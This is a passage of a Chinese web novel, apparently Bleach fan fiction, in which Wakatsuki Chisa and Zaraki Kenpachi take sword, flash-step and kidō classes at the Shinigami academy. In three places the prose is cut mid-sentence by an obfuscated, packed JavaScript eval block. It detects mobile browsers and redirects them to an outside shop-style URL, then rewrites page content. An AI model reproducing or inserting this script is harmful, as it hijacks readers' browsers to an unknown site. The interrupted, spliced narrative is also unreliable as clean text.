劈、砍、斩、刺……他说起话来啰里吧嗦,演练的斩术却简练到了极致,没有一丝多余的动作。 他的斩术不花哨,不华丽,却令人目眩神迷,是力量和速度的结合体。 和白打不同,斩术的攻击力肉眼可见。看着锋锐的刀尖在空中划过一道道痕迹,听着刀身破空的凛冽风声,无需赘言,众人便知晓它有多么强大。 但是,和白打一样,斩术需要对手来展示它真正的威力。 山口老师的视线在学生中转了一圈,在某处地方停留片刻,笑了:“我需要一个学生上来配合我演练斩术……” “我!山口老师,我学过一点剑术!”若月千纱高举右手,毛遂自荐,“我可以和老师对练!” 昨天的白打训练,她为了观察真央灵术院传授的正统白打技能,将战斗机会让给更木剑八,但今天不同。就入学考试那天新生们的表现来看,她敢打包票,在场的其他学生——包括更木剑八——所有人的斩术都是渣渣!如果她这个身怀高级斩术的高手不亲自出马,又有谁能逼出山口老师的真本事,让她一窥正统斩术的究竟? 正好,新领到的浅打非常顺手,让她找回了一点手感。 山口老师的视线往她身旁一转,回到她脸上,对上一双熠熠生辉的眼睛。他从中看到勃发的战意,笑了笑:“那就先和你对练吧。今天是第一节课,情况特殊,我们暂且不用真刀,改用竹刀进行对练……” “山口老师,不用照顾我,我们用真家伙吧!”若月千纱打断他的话,“这里是培养死神的真央灵术院,不是现世的普通道场。您第一节课就把浅打发给我们,目的是为了让我们尽快适应它,早点学会真刀实枪的斩术吧?没必要例外。您放心,我有一些使用刀剑的实战经验。” 流魂街上极少有人能够拥有刀剑,这人是从哪里弄到的真家伙,又是和谁进行实战的啊? 她的同班同学们再次把她的危险等级上调一级。 “你挺聪明的嘛!日后,我们确实要用浅打进行直接训练。六年的时间很短,我们需要的是可以斩杀虚的战士,没空让学生们用竹刀慢慢奠定基础……你很有志气,也很有自信,我喜欢!既然你都这么说了,我们就用真刀进行对练吧。你大胆出招,不用怕,我不会真的伤到你的。” 若月千纱摆出标准的拔刀起手式,于电光石火间拔出浅打刀刃,刀尖对准山口老师:“山口老师,请您认真一点。我说的‘学过一点剑术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552627|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’只是谦虚之辞,您千万不要太大意啊。” 斩术和白打不同,刀剑的杀伤力极强,一击即可定胜负。 偷袭一般用出其不意的攻击一击放倒毫无准备的对手,有什么趣味可言呢?她想要的,是更加刺激、更加热烈、更能让她投入身心、全力以赴的激烈战斗! 她演示的拔刀术快如闪电,足以证明她所言不虚。 山口老师神色一敛,认真应道:“如你所愿。” 进入战斗状态后,山口老师像变了个人一般,一反常态地沉默寡言起来,如同火山爆发前静静流动的岩浆。 两人持刀对峙片刻,一起发动抢攻。 刀刃相接,金戈交击之声连绵不断,不绝于耳。 若月千纱说过,她有使用刀剑的实战经验,那的确不是谎言。在过去黑吃黑及四处挑战的岁月里,她曾拿着打刀和各种兵器对砍过,包括但不限于刀、枪、剑、斧、棍等。 但是,不知是他们运气不佳还是高手隐世不出,他们总是没有遇到个中高手。那些人的斩术着实不够高明,她来不及多使几招斩术,对方便趴下了。 她竭尽所能施展斩术的次数只有一次,就是几年前和原死神小野太郎的那一战。 换言之,她的斩术实战经验,其实很少、很少……就算她的斩术已从中级升至高级,也改变不了这个事实。 “看准时机,不要犹豫。出手要快,不能给敌人反应时间。” “姿势散了,空门大开。” “注意步法。” “呼吸乱了。” 山口老师一边和她对战,一边指出她的不足之处,显得游刃有余。 他的身法行云流水,手中的佩刀如臂使指,快如疾风,力若奔雷,周身毫无破绽,让人找不出半分弱点。 不愧是斩术课老师,斩术的水平无可指摘! 若月千纱虚心接受他的指导,在对练中不断纠正不足。未经打磨的斩术在这场实战中得以淬炼,悄然蜕变。 随着时间的推移,原本如同教科书般一板一眼的斩术在若月千纱手上变得灵动自如,随心所欲,锋芒毕露。 这是一场让若月千纱的斩术脱胎换骨的漫长的战斗。 若月千纱大汗淋漓,筋疲力尽地用浅打支撑身体,感激不尽地向山口老师深深鞠躬:“我输了。山口老师,感谢您的成全,给予我这场机缘。” 山口老师收刀归鞘:“这场机缘不是我给你的,是你基础练得扎实、技能掌握熟练才求来的造化,我只是为了尽到老师的职责,顺水推舟帮了你一把而已。话说回来,你跟谁学的斩术?你运用的斩术和我们学校教的同根同源,却在一些细节上有所不同,像是以现今的斩术为基础进行优化,并且加以改进,改得更加简单易学,又新增了不少招式……” 这句话不啻于晴空霹雳,在若月千纱心底炸响惊雷,让她心神震荡。 山口老师的想法竟和她一般无二!昨日的白打,今日的斩术,都给她这种感觉。 她情不自禁地转眸看向对她不离不弃的蓝紫色蝴蝶。 以山口老师的视角来看,若月千纱偏移的目光无疑是一种无言的拒绝。 这大概是个不能说的秘密吧。他心领神会地略过这个问题,嘴巴不停:“……你的斩术基础牢固,该学的你都学会了,接下来的重心要放在实战上,多和其他人对练……其他人要多向她学习,夯实基础……” 若月千纱想念在战斗中言简意赅的山口老师。虽然她非常感激山口老师,但他实在太啰嗦了! 她瞟了眼更木剑八。 平常他总说她是话痨,她这会儿真想把他摇醒,让他好好感受下怎么样才叫真正的话痨! “……刚才的对练超过你们的水平太多,你们反倒很难从中学到东西。我需要另一个学生和我对练,我会在对练中指导你们学习斩术的方法和技巧。” 山口老师源源不绝地发表了半天感言,话锋突然一转,释放出一股极强的灵压,一放即收:“小家伙,你都睡了半节课了,该醒一醒了!我的课程竟无聊到让你睡着,这是作为老师的失职。出于歉意,我来帮你提神。你过来吧!” 39.第三十九章 更木剑八睡得正香,正前方骤然爆发出一股阴寒刺骨的强大灵压,刺激着他身上的每一寸皮肤,让他激灵灵蹦了起来,睡意全消。 他还未睁眼,那股灵压就从他的感知中销声匿迹,仿佛是一场错觉。 他睁开眼后,映入眼帘的是周围横七竖八倒了一地的同窗们。他不在意地移开目光,下意识追寻向灵压消失的地方,发现山口老师站在那个位置,正冲他和蔼可亲地微笑着。 更木剑八歪了歪脑袋,扭头看向若月千纱,眼里写着大大的问号。 他有个左耳进右耳出的坏毛病,若月千纱猜到他刚才没有听清山口老师的对练要求,否则这会儿早就兴奋地冲上去了。 若月千纱看了眼自家状况外的弟弟,又瞅了瞅对她有点拨之恩的山口老师,犹豫了一下下,按住更木剑八的肩膀:“一次机会,就给他一次机会吧。” 斩术和白打一样,需要和对手正面刚。可以躲,但不能逃。 山口老师很强,毋庸置疑。但是,在斩术课上给自己加上条条框框束缚的他,决计不是近战无敌的更木剑八的对手!除非他自打嘴巴,施展出斩术之外的技能,抑或不要脸皮地对学生解放斩魄刀。 山口老师对她有授业解惑之恩。就算是她,也做不出前脚刚领完情,后脚就放任他掉进自己挖的深坑里的事。 她只给他一次机会,就看他是否把握得住。若他一意孤行,那……关她什么事哟,她都还清人情了。她会好好地给自家弟弟加油助威的! 她恳切地凝视着山口老师的眼睛,求情道:“山口老师,剑八还小,正是缺觉的时候,您就饶了他这一回吧?换成别的同学,行么?” 山口老师笑了笑,开了口—— 柴田木原好奇地追问道:“他放过你弟弟了吗?” 若月千纱晃了晃手中的酒杯,姿态优雅地品了一口,笑着反问:“你猜?” 柴田木原摸了摸下巴,沉吟片刻,说道:“山口看着爽朗大气又爱笑,其实……他很看重自己的职责。我猜,他没有同意你的请求。” 若月千纱打了个响指:“恭喜你,答对了!” 京乐春水惬意地饮下一口酒,饶有兴趣地问道:“之后呢?” “之后嘛……” 众所周知,更木剑八不会斩术,浅打在他手上就像普通孩童手中胡乱挥舞的木棍。然而,更木剑八和普通孩童有着最根本的区别——他有着非人的蛮力,战斗直觉惊人,反应速度极快,爆发力也强到犯规。 他不需要多么厉害的斩术,只需要快、准、狠地挥舞浅打,用它挡住山口老师的每一记攻击就行,这对他来说不是难事。而后,他拉近了距离。将刀剑对决转为近身肉搏的刀刃战后,结果不言而喻。 “……总之,佐藤老师现在多了个伴。” “啧啧啧,那小子当众把佐藤和山口都干翻了?还好我那天跑得及时。”柴田木原庆幸不已,喝两口酒压了压惊,“你弟弟这么能惹事,你不管管他?” 若月千纱眨了眨眼睛,耸了耸肩,双手一摊:“为什么要管他?他又没做错什么事情。战斗的事,能叫惹事么?那可是双方都认可的堂堂正正的战斗。” 再说了,佐藤老师和山口老师只受了点轻微伤,过几天就能回归岗位了啊,有什么大不了的? 想想她当年……算了,早期的悲惨记忆最好还是沉睡在她的脑海深处吧。 柴田木原定定地看着她:“有你这样的姐姐,怪不得……给你一个忠告,佐藤和山口就算了,你们可不能这样对待明天的瞬步课老师。” 若月千纱歪了歪脑袋:“为什么?” “奈奈酱是个超级大美人,你们要怜香惜玉。” 这真是个出乎意料的答案。 “啊?”若月千纱呆了呆,摸了摸自己的脸蛋,“尸魂界什么时候这么看重容貌了?我也是个美人,这么多年来没见谁对我手下留情了啊?” “别听他胡说八道。确实,宫泽确实是个大美人。但是,那不是主要原因。至于为什么,你明天就知道了。” “快说,卖关子可耻!” 可惜,无论若月千纱怎么盘问,都无法从两人嘴中掏出答案。 他们铁了心逗她,只会神神秘秘地微笑,引得她更加好奇。 她熬了一整晚,见到了二人口中的宫泽奈奈。 当宫泽奈奈出现在他们面前时,一颦一笑自带特效,身后似乎还传来天籁之音般的BGM。 若月千纱惊呼:“女神下凡!” 她摸了摸曾经自傲的脸蛋,顿觉这张脸清汤寡水,不过尔尔。 看着周围被宫泽奈奈的盛世美颜迷得七荤八素的同学们,若月千纱领悟了一个真理:欣赏美是人的本能,她之所以没有因容貌受到优待,不是尸魂界不看重容貌,而是她没有美到让人破例。 她对京乐春水说的话感同身受。爱美之心,人皆有之。美到这个地步,谁舍得伤她半分? 不对,还是有人舍得辣手摧花的。 更木剑八一连两天战了个痛快,食髓知味,盯上了新老师,两只小短腿蠢蠢欲动。 若月千纱一把勾住他的脖子:“不可以!” 宫泽奈奈可是整个尸魂界的瑰宝,她见不得她受伤!而且,像她这样美到极致的人,在学校一定拥趸无数。若他们胆敢对她出手,绝对会成为全校公敌,夜夜被人套麻袋,而且不分师生…… 等等,这个结果不坏啊?这样他们不就能和很多强者对战了么? 若月千纱可耻地心动了。 她的脑海里冒出一个天平,左边的砝码写着良心,右边的砝码写着战斗。天平摇摆了几下,右边的托盘沉了下去。 若月千纱目光灼灼地看向宫泽奈奈。 抱歉,我可是从地狱80区走出来的人,身上的良心不足半两重。为了达成目的,我可以不择手段! 她松开了手肘。 就在这时,她看到宫泽奈奈温柔的笑靥,周身自带柔光。 天平的左侧重重落下,若月千纱的手肘蓦然收紧。 咳,达成目的的手段千千万,她还是再考虑一下吧。 宫泽奈奈微启红唇,开始正式授课。 她人美声甜,不用刻意去记,那如音符般的美妙动听的声音便主动飘进学生们的耳朵,牢牢地在他们脑海里安了家。 传授完瞬步的发动步骤及技巧后,她嫣然一笑:“为了让大家尽快熟悉瞬步,我们来玩鬼抓人游戏吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573791|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !我当鬼,你们跑。在规定的游戏时间内,被抓到的人算输,没被抓到的人算赢。赢的人有小小的奖励,输的人则会受到小小的惩罚。好不好?” 和大美人玩你追我赶的游戏,一起嬉笑玩闹,甚至还有奖励可拿?这种训练方式,他们求之不得! 学生们异口同声道:“好——” 此刻,他们并不知道,他们应下了多么可怕的提议。 没过多久,若月千纱就亲身体会到柴田木原的警告的实质意义——宫泽奈奈,绝对是个不能得罪的狠人! 宫泽奈奈把学生们带到学校后山,指着那片占地约一两平方公里的树林,笑吟吟地对他们说:“鬼抓人游戏的范围为这一整片树林,在游戏中脱离场地的人也算输。你们先进树林,我在外面数100个数后就进去找你们。一场游戏的时间为三个刻。” 若月千纱换算了一下时间。一个刻十分钟,三个刻就是三十分钟,相当于她记忆中的半小时。 想要在这么短的时间内在一两平方公里的地方抓住四处乱跑的三十几个学生,难度不小。毕竟,树林面积不小,树木丛生,视线受阻,道路弯弯绕绕,学生人数众多又长着腿,能随时变换位置。 此外,100秒的准备时间也足够漫长,能让学生们跑开很远、很远。 宫泽老师真的打算在游戏中大获全胜吗? 若月千纱右拳一砸左掌心,悟了。 宫泽老师发起这场游戏的目的,难道是想和学生们在游戏中亲近起来?而游戏结束后的小奖励和小惩罚,不正是和学生们混熟的小手段么! 呀咧呀咧,宫泽老师真是人美心善,这点小小的心机也显得好可爱! “大家要尽情跑起来哦,好好运用我刚才教你们的知识,我会优先去抓躲起来的偷懒学生。”宫泽奈奈拍了拍手,“没有其他疑问的话,游戏正式开始?” “好!” 三十几个学生一窝蜂跑进树林里。 待他们全数进入树林后,宫泽奈奈闭上眼睛,开始数数:“1——2——3——” 不知用了什么方法,她的声音分明不大,但却传出老远,一直萦绕在每位学生的耳畔。 学生们不傻,进入树林后便分散开来,朝不同方向跑去。 虽然宫泽奈奈事先告诫过他们要努力奔跑,但无论怎么想,在树林里好好躲藏起来,被发现的概率远远低于不停跑动的人吧? 在跑到一定距离后,只有几个人继续全力奔跑,剩下的绝大多数学生找了个隐蔽的地方躲了起来,甚至爬到树上,用密密麻麻的树叶遮住身体。 若月千纱就是爬上树的人之一。不过,她这么做不是为了躲藏,而是想借地势之利扩大视野,居高临下地观察局势,摸清宫泽奈奈的动向,在游戏中掌握主动权,赢得胜利。 她讨厌输,哪怕只是一场小小的游戏! 然而,自以为看穿宫泽奈奈用心的她忘记一件至关重要的事情——这是一节瞬步训练课。 但是没关系,宫泽奈奈很快就会让她意识到这件事。 “98——99——100——时间到!我来了哦~”宫泽奈奈的手轻轻地搭在一个学生的肩膀上,“抓~到~你~啦~一人出局~” 40.第四十章 宫泽奈奈的声音传遍整片树林。 “什么?这么快就有人被抓住了?宫泽老师不可能说话不算话,提早进来。那么,应该是被抓的学生耍小聪明,躲在入口不远处,打算等宫泽老师走远了再绕回入口处吧?” 不少学生产生同样的念头。 “啊——啊——啊——” 就在这时,树林里响起断断续续的凄厉惨叫,声音时高时低,位置忽远忽近,飘忽不定。 “怎么了怎么了?哪来的惨叫声?” 叫声太过惨烈,又诡异至极。学生们顿觉毛骨悚然,竖起耳朵,左顾右盼。 尖叫声突然断了。一道如清泉般轻灵的声音从远处飘了过来,含着笑意安慰道:“别担心,他没事。他只是受到一点小小的惩罚,有点不太适应而已。放心吧,他已经平静下来了。” 什么小小的惩罚能让一个争强好胜的大男人不顾脸面,叫成这幅德行?宫泽老师对他做了什么? 听着仍旧温温柔柔的声音,树林里的学生们感觉自己的心脏被泼了一瓢冰水,透心的凉,不由得打了个寒战。 诶?宫泽老师的性格好像和他们想象中有点不太一样? 还没等他们接受这个事实时,第二道更加惨烈的叫声响了起来,声线和之前迥异。 伴随着鬼哭狼嚎响起的还有宫泽奈奈的柔声细语:“哎呀,躲懒的学生比我想象中多呢?你们要听劝啊,躲是没有的,我一眼就能找到你们。逃跑的学生注意了,要沿不规则路线逃跑,否则很容易被抓住的哦。如果不想被我抓住,就好好按照我刚才说的小诀窍,努力学会瞬步呀。” 躲藏的学生们犹豫不决,有的咬咬牙,跑出躲藏点,加入狂奔的队伍,有的则抱着侥幸心理,把自己藏得更深一些。 “三人出局~” “四人出局~” “五人出局~不乖的学生怎么那么多?再躲着不动的话,我要加重小小的惩罚了哟。” 她刚放下话不出十几秒,一道声音比刚才拔高八分的尖叫声骤然响起,震耳欲聋。 “六人出局~你们逃跑时,要仔细想想之前的授课内容,学以致用,试着施展瞬步哦~学会瞬步的话,就没那么容易被抓住啦~” 耳膜备受折磨的学生们全身一颤,大部分躲起来的学生跑出藏身处,原本就在跑的人则更加卖力地奔跑着。他们一边跑一边思考,恨不得脑瓜马上开窍,立即学会瞬步。可惜,瞬步并非能够简单掌握的技能。 若月千纱仗着自己会瞬步,丝毫不为宫泽奈奈的话所动,坚定地站在高高的树枝上俯瞰下方。 她瞪大眼睛,在视野范围内搜寻宫泽奈奈的身影,一直一无所获。直到宫泽奈奈抓到第六人,她才看到了她。 只见宫泽奈奈右手拽着一个学生的前襟,将他提在手上,在近距离内不停地施展瞬步,一次次在树干前急刹车,偶尔翻身上树,在树枝间蹦来跳去,再高高地从树上跃下,顺便在空中优雅地翻几个跟斗。 被她拎在手上的学生何曾有过这么刺激的经历?脚不着地的不安、无数次突然脸贴障碍物的惊吓、急停急走时胃里翻江倒海的不适、身体被抛高又坠地又凌空旋转的恐惧、音速前进的恍惚……各种各样的负面感受交织在一起,让他除了尖叫,别无他想。 这就是宫泽老师口中的小小惩罚吗? 若月千纱一时之间竟不知该说什么,只是同情地看着她手里的同窗,双手合十,对他拜了两下。 遥记她初学瞬步之时,曾被它的异常速度和不好把握的方向惊吓过数回,更木剑八第一次被她用瞬步带着跑时,也表现出些微排斥。而宫泽奈奈手上的倒霉孩子只能身不由己地被不停瞬移,她简直不敢想象他的心理阴影面积有多大。 宫泽老师是个不折不扣的白切黑啊!怪不得柴田木原警告她不能得罪她…… 人不可貌相,她竟然被外在的相貌迷惑住眼睛,卸下了警惕心,真是万万不该,必须好好反省一下才行。 不过,那是之后的事情了。她现在要做的,就是离开原地,马上逃跑——应该不是错觉,她刚才不小心和宫泽老师对上了视线。 若月千纱毫不犹豫地发动瞬步,从树枝上消失。 她的身影刚刚淡去,宫泽奈奈就拎着学生闪现在那根树枝上。 “诶?她那么快就学会瞬步了?不对,那种熟练度,绝非近期才掌握的样子。阿拉阿拉,看来这场游戏没那么容易结束呢。” 宫泽奈奈露出惊喜的表情,没有去追逐转瞬消失在她视线范围内的若月千纱,而是又瞬移了几次,抓住了第七位学生。 “找到你啦~七人出局~” 宫泽奈奈松开第六位学生的衣襟,转而将纤纤玉手伸向第七位学生。 第六位出局的学生倒在地上,一脸幸福地晕了过去。啊,他终于解脱了。 第七个倒霉蛋是班上少见的女孩子。 宫泽奈奈一视同仁地揪住她的衣襟,带着她施展瞬步,上天入地。 高亢的尖叫声划破天空:“啊——啊——啊——啊——” 宫泽奈奈温声细语道:“别喊啦,你很安全。这是小小的惩罚,同时也是个机会。你要近距离观察我发动瞬步的方式,亲身体会瞬移的感受,尽快掌握瞬步技能……哎呀,你也不愿意听我说话呢。没关系,机会多的是,你总有一次能听得进去。” 宫泽奈奈在树林里穿梭着,手上的学生换了一个又一个。她不惜拉长抓人时间,抓紧时间多运用几次瞬步,以便学生们能够更加深刻地亲身感悟瞬步技能。 宫泽奈奈说话算话,把最优先目标锚定为藏着不动的消极游戏的学生。在一个个学生倒下之后,其他学生已全部加入逃跑的大部队。 不,还有一个例外。 宫泽奈奈看向老神在在地站在树木中央的更木剑八。他不躲不藏,但周围树木众多,完美地挡住了这个又矮又瘦的目标,导致她现在才发现他的存在。 “年龄小也得遵守游戏规则。” 她拎着第九个学生,瞬步一闪,出现在更木剑八面前。 “你来得太慢了!”更木剑八不耐烦地抱怨了一句,身体一闪,躲开她想要钳制他的右手,“把手上的人扔掉,我们好好打一架!” 若月千纱没有一进树林就和更木剑八分开,而是将他带到树林中央,才和他分头行动。 就更木剑八那糟糕的方向感,如果不把他带到树林里深一点的地方,她怕他分分钟迷路,直接脱离游戏范围,在游戏开始前便被淘汰。 更木剑八不负若月千纱所想,分开后便奔向自以为的入口,想尽快和宫泽奈奈打一架,结果却南辕北辙,跑到树林的更深处。 之后,宫泽奈奈放话说会先抓躲着不动的人,他便站在原地守株待兔。 大好时机来了!若月千纱不在身边,没办法阻止他,他要抓住机会尽情一战! 宫泽奈奈摇头:“现在是鬼抓人游戏时间。” “想抓住我?那就打败我!” 更木剑八避开宫泽奈奈手上的累赘,发起进攻。 宫泽奈奈的语气带上一丝无奈:“真是个调皮的孩子呢。没办法,那我就陪你玩一玩吧。” 她没有放下第九号倒霉蛋,带着他闪转腾挪,没让更木剑八沾上她的一片衣角。 不止如此,在躲闪之余,她向更木剑八发起了反攻——她没有主动背负起枷锁,不给自己设限,轮番使出死神的四大技能。 更木剑八攻击力强,战斗力高,可惜,在没有实打实攻击到对方身上时,一切都是枉然。 总的来说,宫泽奈奈的近战水平比他弱。然而,瞬步带给她的神出鬼没的身法和威力强大的鬼道足以弥补她的弱势,并逆转战局。 这是一场极端的力与巧的对战。更木剑八不遗余力地使出所有本事,却始终打不赢眼前这个看似柔弱的美貌教师。 不过,那如狂风暴雨般的攻击终究给宫泽奈奈带去极大的压力。她担心自己力有不逮,怕手上的无辜学生不小心扫到台风尾,便将他放在不远处的地上。 第九号倒霉蛋回归大地后,不顾晕眩的脑袋和发软的四肢,像虫子般蠕动着,爬到一棵大树后藏起来,才一歪脑袋晕了过去。在昏迷之前,他暗暗发誓,他要用最快的速度学会瞬步! 宫泽奈奈和更木剑八缠斗了一小段时间,终于抓住一个稍纵即逝的机会,觑机使用白伏让更木剑八陷入昏睡状态,放倒了这名精力无极限的学生。 “佐藤君和山口君栽得不冤,这小家伙确实很强。”宫泽奈奈轻轻地用指尖戳了戳更木剑八的眉间,有些苦恼,“唔,这小家伙难缠得很,不能惊醒他,否则他又会缠上来……说好的小惩罚该怎么办呢?” 她在这里为小问题烦恼,却不知由于她长时间的静默以及消失的惨叫声,树林里的学生们都惶恐不安地绷紧了心。 暴风雨前的平静是最可怕的。宫泽老师突然沉寂下来,难道是想整个大的? 当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579930|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惨叫声再一次响彻树林时,学生们的心反倒落了地,撒开腿四处跑。 对于躲着不动的学生,宫泽奈奈瞬步秒抓;对于听从她的话认真奔跑的学生,宫泽奈奈放了个海,一边追逐他们,一边向他们传授要点。游戏越接近终盘,她抓人所花费的时间越长。 当然,对待乖学生,她没有像之前那样玩花式瞬步,而是老老实实地平地瞬移。 若月千纱时刻警戒着,每当宫泽奈奈一靠近,她便迅速远离,成为鬼抓人游戏里的最后一名幸存者。 “还剩五分钟左右。”若月千纱绷紧神经,提防随时可能出现在她身边的宫泽奈奈,自言自语,“按照宫泽老师的报数,我是最后一人。我才不想领教她的小惩罚,一定要撑到最后!” 被人拎在手里游街示众,多没面子呀! “剑八也被抓到了啊,刚才长达几分钟的安静绝对和他有关。他不会又去邀战了吧?” 她突然感知到一股气息在接近她。 若月千纱不假思索,一个瞬步离开原地。 宫泽奈奈出现在她刚离开的地方:“你的瞬步练得不错呀,掌握的技能接近高级。既然如此,我就不客气啦。” 若月千纱忙不迭摇头:“不不不,您还是客气一下吧!千万要手下留情!” 宫泽奈奈噗嗤一笑:“不行,教导学生要因材施教。你和其他学生基础不同,标准自然不能一样。” “不不不,对待学生应该一视同仁,您不能因为我比较强就高看我,这对大家都不公平!” 若月千纱一边贫嘴,一边脚步不停,随机向四面八方施展瞬步。 强者在预测别人的行动轨迹上很有一手,她认为宫泽老师也不例外。与其玩那套不利于她的“我猜你猜我猜”游戏,不如把希望压在更大的概率上。那么,就让她碰碰7/8的运气吧! 然而,逃对一次方向的概率是7/8,逃对两次方向的概率下降到49/64,逃对三次方向的概率仅剩343/512……在第六次时,她能顺利逃开的概率已经低于50%。 幸运的是,决定能否顺利逃离的因素不只是方向,距离和高度的因素也在变量之中,为她提供了更多的可能性。 两人不停地穿梭在树林里,如闪电般变换方向和位置,时而靠近,时而远离,却不曾交汇。 不幸的是,若月千纱一向和好运绝缘。 追逐战只维持了不足一分钟,以她被抓告负。 若月千纱大受打击,不敢置信:“这不合理啊!不应该、不可能、不对劲、不现实——” 宫泽奈奈微微一笑:“你的瞬步掌握得很好,对速度和移动距离都把控得非常精准。但频繁进行短距离变向后,你的动作就出现了细微的迟滞。那一瞬间的破绽暴露出你的心思,让人不难锁定你的方向。这里的地形适合进行短距离变向瞬移,你以后可以多来这里练习瞬步,补上短板。” 若月千纱有气无力地应道:“是——” 怪不得越是往后,她们方向重合的次数越多。不过,宫泽奈奈只锁定了她的方向,意味着另一个事实——距离和高度两个因素确实是随机的,她那么快被抓住,纯粹是她运气太差的缘故! 宫泽奈奈亲切地抓住她的肩膀,宣布道:“游戏结束!所有学生回到游戏前的集合点。清醒的学生自己走回去,昏迷的学生——” “我送他们过去!”若月千纱眼睛布灵布灵地闪着光芒,积极抢活干,“作为游戏失败的惩罚!” 鬼知道这个白切黑的老师会给予她什么因人而异的惩罚!她才不信对方会抓着她一顿瞬移便了事,不如自己想个办法积极受罚,以免后面有更恐怖的惩罚等着她。 宫泽奈奈停顿了一下,浅笑着点了点头,继续说道:“——我会安排别人负责送出去。集合后,我们一起对这场游戏进行总结复盘,然后开始瞬步训练。” 计划通! 若月千纱悄悄地在心里比出剪刀手。 宫泽奈奈下达完指示后,向跃上树枝寻人的若月千纱补充了一句:“你别让大家久等,要快点呀。” 若月千纱秒懂,笑容灿烂:“明白!我会用瞬步送他们去集合的,一定不耽误时间!” 宫泽奈奈莞尔一笑,率先离开:“我等你。” 若月千纱冲她的背影竖起大拇指,无言地表达她的叹服之情。 此刻的她并不知道,自己维持了一天的好心情将在第二天将急转直下,坠入谷底的沟壑里。 41.第四十一章 “斩拳走鬼”四个基本技能,若月千纱在进入真央灵术院前便获得前三个技能,并且这三个技能的掌握程度都不算低,“走”为中级,“斩”和“拳”都达到高级水平。唯独“鬼”,即鬼道,她并未获得。 系统的下一个任务奖励就是初级鬼道,它是这样定义它——鬼道是通过咏唱使用灵力进行攻击、防御及治疗的技能。 在更木剑八和小野太郎的对战中,她曾亲眼目睹小野太郎使出鬼道。那是一种绝非凡人能掌控的力量,让她真真正正第一次对传说中的死神产生一丝敬若神明的心态。 她对这股超凡脱俗的力量充满好奇和向往,希望自己有朝一日能掌握这个技能。 真央灵术院是培育死神的摇篮,“鬼道”是学生们的必学技能之一。进入学院后,她对自己能学会鬼道这一事实深信不疑。 完成不了系统任务又如何?她不稀罕系统奖励啦!系统能给她的所有技能,学校都会教她!从今往后,她要靠自己的努力习得技能! “拜拜啦,系统任务。你给的捷径,我不走了!智障系统,以后你再也坑不到我啦!哈哈哈哈哈——” 然而,今日发生的一切,颠覆了她的想法。 “为什么……为什么我使不出鬼道?”若月千纱失魂落魄地站在箭靶面前,愣愣地看着自己的掌心,“咏唱文一字不差,灵力也很充沛,没道理会失败啊?” 她换着法子施展鬼道成百上千次,结果从未有所不同。 其他同学咏唱得磕磕巴巴,灵力又少,为什么他们能成功? 不,说是成功有些不妥,毕竟他们只是释放出灵力团,勉强将其转换成别的属性,甚至做不到改变它的形态。在这个过程中,他们既没有展现出一丝一毫的熟练度,也没有将其打向箭靶的操控力,更甚者,那些能量团刚一离身,便湮灭成细碎的光点消失不见。 然而,即便如此,他们确确实实改变了灵力团的属性,掌握了鬼道至关重要同时也是最基础的一步呀! 她甚至看到有几个不擅长背诵的学生照着小抄念咏唱文,都勉强能做到属性转换,可她凝聚出的灵力团顽强地坚持自己的内涵,依然只是单纯的灵力团! 灵力强、体积大、时间持久有什么用?她想要的才不是这样的灵力团! 在场的大部分学生都迈出了第一步,而她属于原地踏步的少数人之一。 为什么她做不到?为什么她在咏唱时,体内的灵力全跟死了似的,按兵不动,并未像鬼道老师说的那样自然而然地流动到手臂,随心而动,释放出去? 为什么? 为什么!? 为什么!!! 相较于大多数同学,她到底缺乏什么东西? 咏唱?灵力?姿势?控制力?不,不是这些。站在客观的角度上,她做得很完美,谁都不能说她半句不是。 那么…… 若月千纱心念一转,恶狠狠地瞪向身侧唯有她能看见的蓝紫色蝴蝶。 “是你搞的鬼吧!?” 身旁的男生不幸站在她的视线前方,误以为若月千纱是在说他。他被她狰狞的神情吓到,下意识后退了一步。 这一步流露出的讯息让他深觉丢脸,强撑着回到原位,硬着头皮辩解道:“不是我!我没做任何坏事!你使不出鬼道和我无关!” 若月千纱没搭理他,只是一言不发地盯着系统,脸色冷厉,仿佛要将它生吞活剥。 希望有多大,失望便有多大。她渴望的美好未来瞬间破碎,让她从云端跌下。巨大的反差感让她心神一阵激荡,陷入失控状态。 她眼里有浓重的杀气! 男生汗毛直立,脊背发凉。生命感受到威胁的当下,他哪里还管什么面子不面子的?他憋住气,悄悄地往后退开一步,再后退一步。发现若月千纱的视线没有随他移动时,他迅速撤出她的视线,才吐出一口长气。 蓝紫色蝴蝶几十年如一日地拍打着翅膀,不为她的失态所动,仿佛一切都与它无关。 系统无动于衷的模样如同一盆冰水,浇醒了若月千纱的神志。 